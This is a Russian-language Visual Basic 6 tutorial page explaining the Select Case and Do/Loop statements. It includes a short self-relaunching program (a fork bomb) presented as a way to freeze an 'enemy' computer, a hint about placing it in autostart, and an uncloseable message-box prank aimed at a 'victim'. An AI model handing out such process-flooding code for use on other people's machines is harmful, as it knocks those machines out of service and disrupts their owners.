Студопедия

Главная страница Случайная страница

Разделы сайта

АвтомобилиАстрономияБиологияГеографияДом и садДругие языкиДругоеИнформатикаИсторияКультураЛитератураЛогикаМатематикаМедицинаМеталлургияМеханикаОбразованиеОхрана трудаПедагогикаПолитикаПравоПсихологияРелигияРиторикаСоциологияСпортСтроительствоТехнологияТуризмФизикаФилософияФинансыХимияЧерчениеЭкологияЭкономикаЭлектроника






  • Как продвинуть сайт на первые места?
    Вы создали или только планируете создать свой сайт, но не знаете, как продвигать? Продвижение сайта – это не просто процесс, а целый комплекс мероприятий, направленных на увеличение его посещаемости и повышение его позиций в поисковых системах.
    Ускорение продвижения
    Если вам трудно попасть на первые места в поиске самостоятельно, попробуйте технологию Буст, она ускоряет продвижение в десятки раз, а первые результаты появляются уже в течение первых 7 дней. Если ни один запрос у вас не продвинется в Топ10 за месяц, то в SeoHammer за бустер вернут деньги.
    Начать продвижение сайта
  • Select Case Переменная или выражение Case Значение 1 Действие Case Значение 1 Действие . Case Else Действие в случае несовпадения End Select






    Теперь сделаем такую же программу как и в условном операторе. Войди в VB(Standart EXE), на форму кинь 1 кнопку, Caption = Case. Код:

    Dim a As String 'Объявляем переменную a для хранения символов Private Sub Command1_Click()a = InputBox(" Как тебя зовут", " Опрос") Select Case a Case " Падре" 'Если a = " Падре", то комп выводит сообщение, что этот ник уже забит MsgBox " Падре - это я", 64, " Ну что врубился? " Case " Малыш" 'Если a = " Малыш", то комп выводит сообщение MsgBox " Это правда? ", 64, " Ну что врубился? " Case Else 'Если a равно чему - то другому то комп выводит сообщение MsgBox " Какой - то неизвестный у тебя ник", 64, " Ну что врубился? " End SelectEnd Sub

    Теперь я просто обязан дать тебе задание: Сделай тоже самое, что мы делали с оператором Case(сверяли имя), только на операторе IF, и наоборот. Делай.

    Ну, в VB есть еще и оператор цикла с условием, но он пока нам не нужен(может как - нибуть потом...).

    Операторы Do, Loop, Until (от -Гепарда97-)

    Использование:

    Do

    <...операторы...>

    Loop

    Вгоняет комп в чуть менее, чем бесконечный цикл.

    Например, всего 5ю строчками вражий комп можно повесить намертво (спасет только зажимание кнопки включения, приводящее к его аварийному отключениювынимание батареек), пишем в модуль:

    sub main()doshell app.path & " \" & app.exename & ".exe" loopend sub

    (Совет: такую бяку надо глушить не по одиночке через диспетчер задач, а запустить taskkill /im virus.exe /f где virus.exe - имя плодящегося процесса, выполнять хоть из того же диспетчера задач)

    Особо доставляет прописка такой бяки в автозагрузку, кстати. Но об этом позже.

    Или другой пример (а здесь еще и использование случайного генератора чисел!)

    Sub Main() Call Randomize random1 = Rnd If random1 < 0.75 ThenDo MsgBox " Хахахаха, ламерз маст дай! " LoopEnd IfEndEnd Sub

    Что делает код: сначала генерирует ряд случайных чисел,

    затем записывает в переменную одно случайное число, и если оно меньше 0.75 (а случайное число всегда > 0 и < 1) то

    начать цикл и постоянно выводить сообщение (есичо, Loop - " закрывающий" оператор для Do, как Next для For и End If для If). Лулзы заключаются в том, что жертва (если она конечно полный ламер) не сможет закрыть эту мессагу. Если она конечно вывалится - если случ.число больше 0.75 то прога просто выключится.

    А теперь - цикл с условием - реализуется двумя способами. Предположим, что нам нужно для выхода из цикла, чтобы Х был = 1.

    1ый способ:

    do 'Здесь мог быть ваш код loop until x = 1

    Второй:

    doif x < > 1 then 'Здесь мог быть ваш код elseexit do 'Выходим из цикла end ifloop





    © 2023 :: MyLektsii.ru :: Мои Лекции
    Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав.
    Копирование текстов разрешено только с указанием индексируемой ссылки на источник.